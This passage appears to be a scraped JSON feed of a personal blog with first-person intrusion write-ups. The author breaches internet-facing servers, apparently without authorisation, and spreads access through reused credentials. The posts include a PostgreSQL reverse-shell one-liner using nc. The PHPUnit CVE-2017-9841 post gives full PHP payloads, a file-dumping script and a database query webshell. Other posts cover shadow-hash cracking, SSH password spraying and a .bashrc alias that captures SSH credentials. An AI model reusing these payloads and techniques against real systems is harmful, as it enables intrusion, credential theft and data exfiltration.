export\u003c/strong\u003e (\u003ccode\u003eno_root_squash\u003c/code\u003e).\u003c/p\u003e\n\u003ch2 id=\"prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Control is an illusion.\u0026rdquo;\u003c/strong\u003e\u003cbr\u003e\n— \u003cem\u003eMr. Robot\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eNFS has a habit of trusting whoever knocks on the door — and trust, as always, is the real vulnerability.\u003cbr /\u003e\u003c/p\u003e\n\u003ch2 id=\"initial-foothold\"\u003eInitial Foothold\u003c/h2\u003e\n\u003cp\u003eAt this stage I already had a shell as a regular, low-privileged user. The interesting part began while I was looking for a way up to root.\u003c/p\u003e","title":"Privilege Escalation via Insecure NFS Mounts"},{"content":"In this blog, I will demonstrate how a simple directory listing vulnerability led to full system compromise during a penetration test.\nPrologue \u0026ldquo;The best exploits are the ones that never feel like exploits at all.\u0026rdquo;\n— Mr. Robot\nI discovered that a web server was exposing its directory contents.\nSeveral configuration and compressed files were visible, indicating possible sensitive information leakage.\nSource Code Analysis After downloading and analyzing the exposed files, I found a PHP configuration file containing PostgreSQL database credentials.\nDatabase Connection Using the extracted credentials, I connected to the PostgreSQL server and successfully authenticated.\nPostgreSQL to Reverse Shell After confirming access, I attempted to escalate this to Remote Command Execution.\nRole Enumeration First, I enumerated the database role.\nThe user had superuser privileges, which was promising.\nPermission Enumeration To enumerate detailed permissions, I used the following query:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolconnlimit, r.rolvaliduntil, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; The presence of the pg_execute_server_program privilege allowed OS-level command execution.\nRemote Code Execution Using PostgreSQL’s COPY FROM PROGRAM, I executed a reverse shell payload\n1 2 CREATE TABLE shell(output text); COPY shell FROM PROGRAM \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc x.x.x.x 4444 \u0026gt;/tmp/f\u0026#39;; Listener setup:\n1 nc -lnvp 4444 SSH Connection Port 22 (SSH) was open on the target.\nI located the home directory of the postgres user\nAdded my public key to authorized_keys\nSuccessfully logged in via SSH\nPriviledge Escalation While reviewing /etc/passwd, I noticed a system user whose credentials matched those found in the PHP file. Trying the same password worked.\nThis user also had sudo privileges, allowing immediate root shell access\nLateral Movement The compromised server resided in a private Class B network. I scanned the subnet for SSH using Gill-Singh-A/Port-Scanner and performed SSH password spraying using Gill-Singh-A/SSH-Brute-Force\nThis resulted in successful access to two additional hosts\nAttack Path References Command Execution with PostgreSQL Copy Command - Nairuz Abulhul ","permalink":"https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/","summary":"\u003cp\u003eIn this blog, I will demonstrate how a simple \u003cstrong\u003edirectory listing vulnerability\u003c/strong\u003e led to \u003cstrong\u003efull system compromise\u003c/strong\u003e during a penetration test.\u003c/p\u003e\n\u003ch2 id=\"prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;The best exploits are the ones that never feel like exploits at all.\u0026rdquo;\u003c/strong\u003e\u003cbr\u003e\n— \u003cem\u003eMr. Robot\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eI discovered that a web server was \u003cstrong\u003eexposing its directory contents\u003c/strong\u003e.\u003cbr /\u003e\n\u003cimg alt=\"Directory Listing\" loading=\"lazy\" src=\"/p/from-directory-listing-to-root-shell/assets/images/directory_listing.png\"\u003e\u003cbr /\u003e\nSeveral configuration and compressed files were visible, indicating possible sensitive information leakage.\u003c/p\u003e\n\u003ch2 id=\"source-code-analysis\"\u003eSource Code Analysis\u003c/h2\u003e\n\u003cp\u003eAfter downloading and analyzing the exposed files, I found a \u003cstrong\u003ePHP configuration file\u003c/strong\u003e containing \u003cstrong\u003ePostgreSQL database credentials\u003c/strong\u003e.\u003cbr /\u003e\n\u003cimg alt=\"Source Code Analysis\" loading=\"lazy\" src=\"/p/from-directory-listing-to-root-shell/assets/images/source_code_analysis.png\"\u003e\u003cbr /\u003e\u003c/p\u003e","title":"From Directory Listing to Root Shell"},{"content":"Finding the vulnerability During routine exploration of vulnerable servers, I discovered the presence of CVE-2017-9841 on a target domain using Nuclei with the http/cves/2017/CVE-2017-9841.yaml template. The scanner flagged an exposed PHPUnit utility script under the /vendor tree.\nWhat CVE-2017-9841 is Util/PHP/eval-stdin.php in PHPUnit (before 4.8.28 and 5.x before 5.6.3) allows remote attackers to execute arbitrary PHP code sent in an HTTP POST body beginning with \u0026lt;?php . This is usually exposed when an application leaves its vendor folder web-accessible, so the eval-stdin.php file can be requested directly. Knowing this enabled me to submit PHP payloads via the POST body to the vulnerable endpoint.\nAttempts at full Remote Code Execution I attempted several approaches to obtain a shell (using system, exec, passthru, etc.), but each attempt yielded the same error: Call to undefined function.\nInspecting phpinfo() revealed a long list of disabled functions via disable_functions — including many common command-execution functions and other potentially dangerous calls. That constrained direct command execution from PHP.\nI also attempted to identify the running user with get_current_user() and explored options such as adding SSH keys to an account, but SSH was not available on the host and many web-server users are configured with shells like /sbin/nologin, so those avenues were not feasible.\nEditing cronjobs to gain code execution was also not possible in this environment.\nUsing PHP payloads for nondestructive access The shell wasn’t there — the attack surface was. You don’t always need a shell to reach the prize.\nListing directories and reading files Because direct command execution was blocked, I focused on file-system access via PHP, which allowed enumeration and content retrieval of files. PHP payloads used:\nListing Directory 1 2 3 4 \u0026lt;?php $files = scandir($_GET[\u0026#39;dir\u0026#39;]); print_r($files); ?\u0026gt; Reading Files 1 2 3 \u0026lt;?php echo file_get_contents($_GET[\u0026#39;file\u0026#39;]) ?\u0026gt; Downloading source code After locating the web-root, I saved the above PHP scripts as list_dir.php and get_file.php and wrote a small Python tool to recursively download directory contents. The downloader iterated directory listings and fetched files, saving them locally.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #! /usr/bin/env python3 import os, sys, requests from pathlib import Path from urllib.parse import quote, urlparse from colorama import Fore cwd = Path.cwd() files_dir = cwd / \u0026#34;files\u0026#34; files_dir.mkdir(exist_ok=True) with open(\u0026#34;list_dir.php\u0026#34;, \u0026#39;r\u0026#39;) as file: list_dir_php_payload = file.read() with open(\u0026#34;get_file.php\u0026#34;, \u0026#39;r\u0026#39;) as file: get_file_php_payload = file.read() not_allowed_dirs = [\u0026#34;.\u0026#34;, \u0026#34;..\u0026#34;] def get_file(url, file): response = requests.post(f\u0026#34;{url}?file={quote(file)}\u0026#34;, data=get_file_php_payload) data = response.text.strip() if data == \u0026#34;\u0026#34; or \u0026#34;: (errno \u0026#34; in data or \u0026#34;\u0026lt;b\u0026gt;Warning\u0026lt;/b\u0026gt;\u0026#34; in data or \u0026#34;/www/wwwroot/REDACTED/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34; in data: return False dir_name = \u0026#39;/\u0026#39;.join(file.split(\u0026#39;/\u0026#39;)[:-1]) dir = files_dir / dir_name[1:] dir.mkdir(exist_ok=True, parents=True) with open(f\u0026#34;files{file}\u0026#34;, \u0026#39;wb\u0026#39;) as file: file.write(response.content) return True def list_dir(url, dir): response = requests.post(f\u0026#34;{url}?dir={quote(dir)}\u0026#34;, data=list_dir_php_payload) data = response.text.strip() if data == \u0026#34;\u0026#34; or \u0026#34;: (errno \u0026#34; in data or \u0026#34;\u0026lt;b\u0026gt;Warning\u0026lt;/b\u0026gt;\u0026#34; in data or \u0026#34;/www/wwwroot/REDACTED/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34; in data: return False files = [line.split(\u0026#39;\u0026gt;\u0026#39;)[1][1:] for line in data.split(\u0026#39;\\n\u0026#39;) if \u0026#39;\u0026gt;\u0026#39; in line] for not_allowed in not_allowed_dirs: if not_allowed in files: files.remove(not_allowed) return files if __name__ == \u0026#34;__main__\u0026#34;: url = sys.argv[1] dir_path = sys.argv[2] dirs = [dir_path] while len(dirs) != 0: new_dirs = [] for dir in dirs: current_dir_listing = list_dir(url, dir) if current_dir_listing == False: continue print(f\u0026#34;{Fore.YELLOW}[*] LISTING DIR =\u0026gt; {dir}{Fore.RESET}\u0026#34;) files = [f\u0026#34;{dir}/{file}\u0026#34; for file in current_dir_listing] for file in files: status = get_file(url, file) if status: print(f\u0026#34;{Fore.GREEN}[+] DOWNLOADED FILE =\u0026gt; {file}{Fore.RESET}\u0026#34;) else: new_dirs.append(file) dirs = new_dirs Running that tool produced a local copy of the site’s source code and configuration files.\nSource code analysis \u0026amp; discovery of database credentials Within the downloaded source code I discovered database connection details (IP address and credentials) stored in configuration files. The database IP was a private class-A address, indicating it lived on an internal network and could not be accessed directly from the internet.\nPivoting to the database via the compromised host A compromised host is a bridge — sometimes it’s all you need to cross into a private world.\nUsing the compromised web host as a pivot/proxy, I verified the credentials and connected to the database by running simple PHP database-connection payloads from the web host.\nVerification payload used:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;?php $servername = \u0026#34;localhost\u0026#34;; $username = \u0026#34;username\u0026#34;; $password = \u0026#34;password\u0026#34;; // Create connection $conn = new mysqli($servername, $username, $password); // Check connection if ($conn-\u0026gt;connect_error) { die(\u0026#34;Connection failed: \u0026#34; . $conn-\u0026gt;connect_error); } echo \u0026#34;Connected successfully\u0026#34;; ?\u0026gt; This showed the server could connect to the database.\nTo execute arbitrary queries and extract data, I used another PHP payload that accepts a query parameter and returns JSON results. That payload:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 \u0026lt;?php $servername = \u0026#34;SERVER\u0026#34;; $username = \u0026#34;USERNAME\u0026#34;; $password = \u0026#34;PASSWORD\u0026#34;; $dbname = \u0026#34;DATABASE\u0026#34;; // Create connection $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn-\u0026gt;connect_error) { die(\u0026#34;Connection failed: \u0026#34; . $conn-\u0026gt;connect_error); } // Retrieve the query parameter from the GET request if (isset($_GET[\u0026#39;query\u0026#39;])) { $query = $_GET[\u0026#39;query\u0026#39;]; // Execute the query $result = $conn-\u0026gt;query($query); if ($result === TRUE) { // If the query was successful but no data is returned echo json_encode([\u0026#34;message\u0026#34; =\u0026gt; \u0026#34;Query executed successfully.\u0026#34;]); } elseif ($result !== FALSE) { // If it\u0026#39;s a SELECT query, fetch the data and return it in JSON format $data = []; $fields = $result-\u0026gt;fetch_fields(); // Get column names (field info) // Create a structured array to hold the result rows while ($row = $result-\u0026gt;fetch_assoc()) { $data[] = $row; } // Output the result as JSON echo json_encode([ \u0026#34;columns\u0026#34; =\u0026gt; array_map(function($field) { return $field-\u0026gt;name; }, $fields), \u0026#34;data\u0026#34; =\u0026gt; $data ], JSON_PRETTY_PRINT); } else { // Error in query execution echo json_encode([\u0026#34;error\u0026#34; =\u0026gt; \u0026#34;Error: \u0026#34; . $conn-\u0026gt;error]); } } else { // No query provided echo json_encode([\u0026#34;error\u0026#34; =\u0026gt; \u0026#34;No query provided!\u0026#34;]); } // Close connection $conn-\u0026gt;close(); ?\u0026gt; I wrapped that into a small Python utility to run queries and save results locally for analysis.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #! /usr/bin/env python3 import os, sys, json, requests from hashlib import md5 from pathlib import Path from colorama import Fore from getpass import getpass from urllib.parse import quote, urlparse with open(\u0026#34;db_connector.php\u0026#34;, \u0026#39;r\u0026#39;) as file: # Above PHP Payload for executing queries php_payload = file.read() cwd = Path.cwd() output_folder = cwd / \u0026#34;queries\u0026#34; output_folder.mkdir(exist_ok=True) if not os.path.isfile(\u0026#34;query_mappings.tsv\u0026#34;): with open(\u0026#34;query_mappings.tsv\u0026#34;, \u0026#39;w\u0026#39;) as file: file.write(\u0026#34;QUERY\\tFILE\\n\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 5: print(\u0026#34;Usage: python3 db_connector.py url server username db_name\u0026#34;) exit(0) url = sys.argv[1] server = sys.argv[2] username = sys.argv[3] db_name = sys.argv[4] password = getpass() php_payload = php_payload.replace(\u0026#34;SERVER\u0026#34;, server) php_payload = php_payload.replace(\u0026#34;USERNAME\u0026#34;, username) php_payload = php_payload.replace(\u0026#34;PASSWORD\u0026#34;, password) php_payload = php_payload.replace(\u0026#34;DATABASE\u0026#34;, db_name) print(f\u0026#34;Type \u0026#39;exit\u0026#39; to exit\u0026#34;) while True: try: query = input(f\u0026#34;{Fore.GREEN}{urlparse(url).netloc}{Fore.RESET} =\u0026gt; {Fore.BLUE}{username}{Fore.RED}@{Fore.CYAN}{server}{Fore.RESET}\u0026gt; \u0026#34;) if query == \u0026#34;exit\u0026#34;: break query_hash = md5(query.encode()).hexdigest() response = requests.post(f\u0026#34;{url}?query={quote(query)}\u0026#34;, data=php_payload) data = json.loads(response.text) with open(f\u0026#34;queries/{query_hash}.json\u0026#34;, \u0026#39;w\u0026#39;) as file: json.dump(data, file) os.system(f\u0026#34;cat queries/{query_hash}.json | jq\u0026#34;) with open(\u0026#34;query_mappings.tsv\u0026#34;, \u0026#39;a\u0026#39;) as file: file.write(f\u0026#34;{query}\\t{query_hash}\\n\u0026#34;) except Exception as error: print(f\u0026#34;{Fore.RED}[-] ERROR OCCURED =\u0026gt; {error}{Fore.RESET}\u0026#34;) Looking for other databases on the private network Because the database lived on a private network, I probed the internal network (from the compromised host) for other database servers. For that I deployed a small port-checking PHP script to test connectivity to hosts/ports internally:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \u0026lt;?php function check_port($host, $port, $timeout = 5) { $connection = @stream_socket_client(\u0026#34;tcp://$host:$port\u0026#34;, $errno, $errstr, $timeout); if (is_resource($connection)) { fclose($connection); return true; } else { return false; } } $host = $_GET[\u0026#39;ip\u0026#39;]; $port = $_GET[\u0026#39;port\u0026#39;]; $timeout = isset($_GET[\u0026#39;timeout\u0026#39;]) ? $_GET[\u0026#39;timeout\u0026#39;] : 5; if (check_port($host, $port, $timeout)) { echo \u0026#34;open\\n\u0026#34;; } else { echo \u0026#34;closed\\n\u0026#34;; } ?\u0026gt; Using the above, I scanned internal addresses and found multiple hosts with MySQL (port 3306) open. With further checks, two of those were reachable and contained the same dataset (one appeared to be a backup).\nAttack Path Visualization Conclusion This engagement showed how an exposed vendor file (eval-stdin.php from PHPUnit) combined with permissive file placement and stored credentials can lead to serious data exposure — even without full shell access. Key takeaways:\nLeaving development/test libraries or tooling under a web-accessible vendor tree is dangerous. Files intended for developer use (like PHPUnit utilities) must never be reachable from the web. Sensitive configuration data (like DB credentials) stored in plain text within the web root greatly increases risk when code disclosure occurs. Even when exec-style functions are disabled, attackers can still abuse application-level file-read and database-access functionality to exfiltrate data. Internal network services (databases, backups) are at risk when a web server can reach them and credentials are present on that host. If you are defending a system, treat the above as a demonstration of impact — not as an instruction to perform similar actions. Immediately prioritize containment and remediation if you discover a similar situation in your environment.\nRecommended mitigations and hardening (defensive, non-actionable) Below are defensive measures to reduce the risk of code- and data-exposure like the scenario above. These recommendations are focused on configuration, operational controls, and incident response — not on exploit techniques.\n1. Patch and remove unsafe dev/test artifacts Remove PHPUnit and other development tooling from production deployments. Tools like PHPUnit should never be in production vendor directories that are accessible by the webserver. Keep dependencies up to date. Apply vendor and library security patches promptly — in this case, the vulnerable eval-stdin.php was fixed in patched PHPUnit releases. 2. Prevent web access to non-public files Block /vendor and other development directories at the webserver level (via webserver config or rewrite rules) so vendor files cannot be served as public assets. Use open_basedir / proper webroot layout so that only intended application assets are accessible from the document root. 3. Secure application configuration \u0026amp; secrets Avoid hard-coding credentials in files inside the webroot. Store secrets outside the web root, use environment variables injected securely at runtime, or use a secrets manager (vault, cloud secret store). Encrypt or otherwise protect configuration files when feasible and rotate credentials on a regular schedule (and after any suspected compromise). Least privilege for DB accounts — ensure database accounts used by the web app have minimal permissions necessary for their operation (no unnecessary admin rights). 4. Network segmentation and access controls Segment internal networks so that compromised web hosts cannot freely reach internal database subnets. Use firewalls and host-based rules to restrict which application servers can access which DB servers. Restrict management interfaces and internal tools to trusted administrative networks or via jump hosts/VPNs. 5. Hardening the PHP runtime and the host Minimize enabled PHP functions carefully, but be aware that relying on disable_functions alone is not sufficient to prevent data exfiltration through application logic. Harden file permissions so that the webserver user cannot read configuration files that are not required for operation. Run services with least privilege; avoid running the webserver as overly privileged users. 6. Web application controls Input validation and least-privilege application features — do not expose ad-hoc file-read/exec features to the web in production. Implement a WAF (Web Application Firewall) to detect and block known attack signatures (including attempts to access unusual PHP files under the vendor tree). Disable serving of .php files from directories that should not contain executable scripts (e.g., storage, uploads). 7. Monitoring, detection, and logging Log web requests and server errors centrally and monitor for suspicious access patterns (e.g., requests to vendor/phpunit/.../eval-stdin.php). Alert on anomalous database connections or unusual query volumes from web hosts. Implement file integrity monitoring to detect unexpected files or payloads dropped on the webroot. 8. Incident response steps (high level) If you detect a similar compromise or exposure:\nIsolate the affected host from the network (to stop further exfiltration). Rotate credentials that were present on the host (database, API keys) after containment — do this via a secure process. Collect forensic evidence (logs, disk images) and preserve it for investigation. Check for persistence (webshells, unauthorized scheduled tasks, new users) and remediate thoroughly. Restore from trusted backups if necessary and ensure the vulnerability that led to the compromise is patched before returning the host to production. Notify stakeholders and comply with applicable reporting laws/regulations. 9. Preventative practices Secure CI/CD pipelines so development dependencies are never pushed to production unintentionally. Perform regular code reviews and automated scanning (SAST/DAST) and scheduled vulnerability scans to detect exposures like web-accessible vendor directories. Periodic pen-testing and threat-modeling to identify attack paths focusing on sensitive data exposure. ","permalink":"https://Gill-Singh-A.github.io/p/dumping-source-code-and-accessing-internal-databases-via-a-phpunit-vulnerability/","summary":"\u003ch2 id=\"finding-the-vulnerability\"\u003eFinding the vulnerability\u003c/h2\u003e\n\u003cp\u003eDuring routine exploration of vulnerable servers, I discovered the presence of CVE-2017-9841 on a target domain using \u003ca href=\"https://github.com/projectdiscovery/nuclei\"\u003eNuclei\u003c/a\u003e with the \u003ca href=\"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9841.yaml\"\u003e\u003ccode\u003ehttp/cves/2017/CVE-2017-9841.yaml\u003c/code\u003e\u003c/a\u003e template. The scanner flagged an exposed PHPUnit utility script under the \u003ccode\u003e/vendor\u003c/code\u003e tree.\u003cbr /\u003e\n\u003cimg alt=\"Nuclei Vulnerability Scan\" loading=\"lazy\" src=\"/p/dumping-source-code-and-accessing-internal-databases-via-a-phpunit-vulnerability/assets/images/nuclei_vulnerability_scan.png\"\u003e\u003cbr /\u003e\u003c/p\u003e\n\u003ch2 id=\"what-cve-2017-9841-is\"\u003eWhat CVE-2017-9841 is\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eUtil/PHP/eval-stdin.php\u003c/code\u003e in PHPUnit (before 4.8.28 and 5.x before 5.6.3) allows remote attackers to execute arbitrary PHP code sent in an HTTP POST body beginning with \u003ccode\u003e\u0026lt;?php \u003c/code\u003e. This is usually exposed when an application leaves its \u003ccode\u003evendor\u003c/code\u003e folder web-accessible, so the \u003ccode\u003eeval-stdin.php\u003c/code\u003e file can be requested directly. Knowing this enabled me to submit PHP payloads via the POST body to the vulnerable endpoint.\u003cbr /\u003e\n\u003cimg alt=\"php Code in POST Request\" loading=\"lazy\" src=\"/p/dumping-source-code-and-accessing-internal-databases-via-a-phpunit-vulnerability/assets/images/post_request.png\"\u003e\u003cbr /\u003e\u003c/p\u003e","title":"Dumping Source Code and Accessing Internal Databases via a Phpunit Vulnerability"},{"content":"Initial Entry Point During a routine exploration of vulnerable servers on the internet, I successfully gained root access to several machines. While the specific method used to achieve root access is beyond the scope of this blog, I’ll focus on how I expanded my access to other servers within the same organization.\nExtracting Linux User Hashes Once inside the compromised machine, I noticed multiple user accounts. With root privileges, I accessed the /etc/shadow file, which stores password hashes for all users on the system.\nI copied the contents of the shadow file to my local machine and extracted the hashes using the following command:\n1 cat shadow_file | cut -d \u0026#39;:\u0026#39; -f2 | sort | uniq | grep -v \u0026#39;[!-*]\u0026#39; \u0026gt; hashes This command isolates the hashes, removes unnecessary characters, and saves them to a file named hashes.\nIdentifying the Hash Type The next step was to determine the type of hash used. I referenced Hashcat’s Example Hashes to identify the hash format. In this case, the hashes were of type sha512crypt, which includes salting for added security.\nSelecting a Wordlist \u0026ldquo;Hacking is about patience. If you rush, you lose. If you’re too slow, you lose. Timing is everything.\u0026rdquo; - Mr. Robot\nWith the hash type identified, I needed a suitable wordlist for a dictionary attack. Given the presence of salting, using an excessively large wordlist would be inefficient. I opted for the rockyou wordlist, a popular choice for password cracking due to its manageable size and effectiveness. You can explore other useful wordlists on platforms like SecLists and WeakPass.\nFor more advanced scenarios, tools like CUPP (Common User Passwords Profiler) can generate custom wordlists tailored to specific users or organizations. Additionally, leveraging GPU resources can significantly speed up the cracking process. For a deeper dive into password cracking techniques, check out this Password Cracking Blog.\nCracking the Hashes I used Hashcat, a powerful password-cracking tool, to crack the extracted hashes. The command I used was:\n1 hashcat -a 0 -m 1800 path_to_hashes_file path_to_wordlist Explanation of Arguments: -a 0: Specifies a dictionary attack. -m 1800: Indicates the hash type (sha512crypt). After running the command, Hashcat successfully cracked two of the hashes. Below is an example of one of the cracked hashes:\nDiscovering Additional Machines With the cracked credentials in hand, my next goal was to identify other machines within the same organization. I began by gathering information about the compromised server’s owner or organization. Using tools like Shodan, I extracted details such as the organization name, ISP (Internet Service Provider), ASN (Autonomous System Number), and subnet associated with the server’s IP address.\nUsing this information, I filtered Shodan search results to compile a list of IP addresses belonging to the same organization, ISP, or subnet.\nGaining Access to Other Machines \u0026ldquo;Credentials are the keys to the kingdom. Once you have them, you can go anywhere.\u0026rdquo; - Mr. Robot\nArmed with a list of IP addresses and valid credentials, I launched a SSH brute-force attack using the Gill-Singh-A/SSH-Brute-Force tool. This allowed me to authenticate successfully on several other machines within the organization.\nAttack Path Visualization Below is a visual representation of the attack path, created using Maltego:\nConclusion This exercise highlights how a single compromised machine can serve as a gateway to an entire network. By extracting and cracking Linux user hashes, identifying related machines using Shodan, and leveraging brute-force techniques, I was able to expand my access across multiple servers within the organization.\nMitigations To prevent such attacks, organizations should implement the following security measures:\nStrong Password Policies: Enforce the use of complex, unique passwords and mandate regular password changes. Multi-Factor Authentication (MFA): Implement MFA for SSH and other critical services to add an extra layer of security. Regular Audits: Conduct regular security audits to identify and address vulnerabilities, including weak passwords and misconfigurations. Limit SSH Access: Restrict SSH access to specific IP addresses or networks and disable root login. Monitor Logs: Continuously monitor system logs for suspicious activity, such as repeated failed login attempts. Patch Management: Keep all systems and software up to date with the latest security patches. Network Segmentation: Segment networks to limit lateral movement in case of a breach. Educate Users: Train employees and system administrators on security best practices, including password hygiene and phishing awareness. By adopting these measures, organizations can significantly reduce the risk of unauthorized access and lateral movement within their networks.\n","permalink":"https://Gill-Singh-A.github.io/p/cracking-linux-hashes-and-expanding-access/","summary":"\u003ch2 id=\"initial-entry-point\"\u003eInitial Entry Point\u003c/h2\u003e\n\u003cp\u003eDuring a routine exploration of vulnerable servers on the internet, I successfully gained root access to several machines. While the specific method used to achieve root access is beyond the scope of this blog, I’ll focus on how I expanded my access to other servers within the same organization.\u003c/p\u003e\n\u003ch2 id=\"extracting-linux-user-hashes\"\u003eExtracting Linux User Hashes\u003c/h2\u003e\n\u003cp\u003eOnce inside the compromised machine, I noticed multiple user accounts. With root privileges, I accessed the \u003cem\u003e/etc/shadow\u003c/em\u003e file, which stores password hashes for all users on the system.\u003cbr /\u003e\n\u003cimg alt=\"Shadow File\" loading=\"lazy\" src=\"/p/cracking-linux-hashes-and-expanding-access/assets/images/shadow_file.png\"\u003e\u003cbr /\u003e\nI copied the contents of the shadow file to my local machine and extracted the hashes using the following command:\u003c/p\u003e","title":"Cracking Linux Hashes and Expanding Access"},{"content":"Discovery of Vulnerable Machines While investigating vulnerable, internet-facing systems, I successfully compromised several devices. Although the specific techniques I used to gain initial access fall outside the scope of this post, the real discovery came during my post-exploitation phase on one of the compromised machines.\nDiscovering Vulnerable SSH Configurations While reviewing the files on the compromised system, I stumbled upon something interesting in the ~/.ssh directory of a particular user account.\nWithin this directory, I found a private key file being used for SSH logins to other systems. My next step was to check whether the private key was encrypted.\nUnencrypted Private Key “The thing about secrets is, once you know them, they change the way you see everything.” - Irving, Mr. Robot\nTo verify if the private key was encrypted, I attempted to use it to connect to a device listed in the SSH configuration file.\nThe connection was successfully established without any prompts for a passphrase, confirming that the private key was unencrypted.\nSpreading to Other Machines With the unencrypted private key, I was able to repeat this process across multiple machines listed in the configuration file. By leveraging the same method, I gained access to an increasing number of devices.\nThis chain of connections allowed me to traverse and breach several systems.\nKey Takeaways and Attack Path The attack path was simple but effective—once I had access to one system, the unencrypted private key enabled me to easily escalate and spread across other devices. The lack of passphrase protection for the private key and poor SSH configurations provided the necessary leverage.\nAdditionally, if the private key file is encrypted with a weak password, it can be cracked using brute force techniques, making it crucial to use strong, complex passphrases. You can check out this Gill-Singh-A/RSA-Private-Key-Passphrase-Brute-Force for more details on how this can be done.\nFurthermore, attackers can use Shodan to discover devices belonging to the same organization by scanning for exposed SSH services and other identifying information. This highlights the importance of securing not only individual systems but also considering how vulnerable configurations can be exposed publicly. It\u0026rsquo;s vital to ensure SSH ports are either closed or properly secured to prevent remote exploitation.\nMitigations To prevent this type of attack, consider the following security best practices:\nEncrypt Private Keys: Always use a passphrase to protect private keys. If keys are exposed or leaked, encryption ensures they cannot be easily used. Harden SSH Configurations: Review and harden your SSH configuration files. Disable weak or unnecessary authentication methods and ensure proper permissions for key files. Use SSH Key Management Tools: Implement centralized SSH key management solutions to monitor and control which keys are authorized on which systems. Implement Two-Factor Authentication: For an extra layer of security, enable two-factor authentication (2FA) for SSH access, especially for sensitive machines. Regular Audits: Conduct regular audits of your systems to identify misconfigurations and potential vulnerabilities like unprotected private keys or improper access controls. ","permalink":"https://Gill-Singh-A.github.io/p/exploiting-unencrypted-private-keys-and-misconfigured-ssh-settings-to-breach-multiple-systems/","summary":"\u003ch2 id=\"discovery-of-vulnerable-machines\"\u003eDiscovery of Vulnerable Machines\u003c/h2\u003e\n\u003cp\u003eWhile investigating vulnerable, internet-facing systems, I successfully compromised several devices. Although the specific techniques I used to gain initial access fall outside the scope of this post, the real discovery came during my post-exploitation phase on one of the compromised machines.\u003c/p\u003e\n\u003ch2 id=\"discovering-vulnerable-ssh-configurations\"\u003eDiscovering Vulnerable SSH Configurations\u003c/h2\u003e\n\u003cp\u003eWhile reviewing the files on the compromised system, I stumbled upon something interesting in the \u003ccode\u003e~/.ssh\u003c/code\u003e directory of a particular user account.\u003cbr /\u003e\n\u003cimg alt=\"SSH Directory\" loading=\"lazy\" src=\"/p/exploiting-unencrypted-private-keys-and-misconfigured-ssh-settings-to-breach-multiple-systems/assets/images/ssh_directory.png\"\u003e\u003cbr /\u003e\nWithin this directory, I found a private key file being used for SSH logins to other systems. My next step was to check whether the private key was encrypted.\u003c/p\u003e","title":"Exploiting Unencrypted Private Keys and Misconfigured SSH Settings to Breach Multiple Systems"},{"content":"Understanding Lateral Movement Lateral movement in cybersecurity refers to the techniques used by attackers to move within a compromised network after gaining initial access. This allows them to escalate privileges, exfiltrate data, and reach high-value targets while evading detection. Advanced Persistent Threats (APTs) commonly use this tactic to maintain long-term access, often remaining undetected for extended periods.\nEntry Point During my exploration of vulnerable and misconfigured internet-facing machines, I was able to gain root access to several devices. The methods I used to gain initial access are beyond the scope of this blog.\nWhile analyzing one of the compromised machines during post-exploitation, I noticed in the bash history that the user frequently connected to other devices via SSH.\nThis discovery led me to investigate further, with the goal of capturing credentials to access additional systems.\nCapturing SSH Credentials “You don’t have to be a part of the system to use it. You just need to know how to manipulate it.” — Mr.Robot\nTo achieve this, I devised a simple method using a Python script alongside modifications to the .bashrc file. This setup allowed me to intercept SSH credentials entered by the user.\nImplementation Installing sshpass – This tool bypasses the native SSH password prompt, allowing automation of SSH authentication. Tampering with SSH Commands – By creating an alias for the SSH command, I ensured that every SSH connection attempt executed my Python script first, capturing the credentials before proceeding with the actual connection. For complete details on the scripts and instructions used, check out the SSH Credential Logger.\nExtracting SSH Credentials After some waiting, my setup successfully captured SSH credentials entered by the user.\nWith these credentials, I was ready to move laterally across the network.\nNetwork Traversal Once I obtained valid SSH credentials, I aimed to access additional devices on the network. Simply waiting for the user to enter credentials for other machines would be too slow, so I employed two proactive methods:\n1. Port Scanning \u0026amp; Brute Force This involved scanning the network for open SSH ports and attempting authentication using the stolen credentials. However, this approach generates significant noise, increasing the chances of detection due to logged failed attempts.\n2. Extracting IPs from known_hosts A stealthier method involves inspecting the .ssh/known_hosts file, which contains a list of previously connected devices. This file provided direct IPs and hostnames of machines the user had accessed before.\nBy leveraging this information, I could target machines more efficiently while minimizing network noise, making detection less likely.\nSummary Below is the attack path I followed, visualized using Maltego\nConclusion This technique demonstrates how attackers can leverage misconfigurations and simple command tampering to perform lateral movement within a network. By capturing SSH credentials and analyzing user 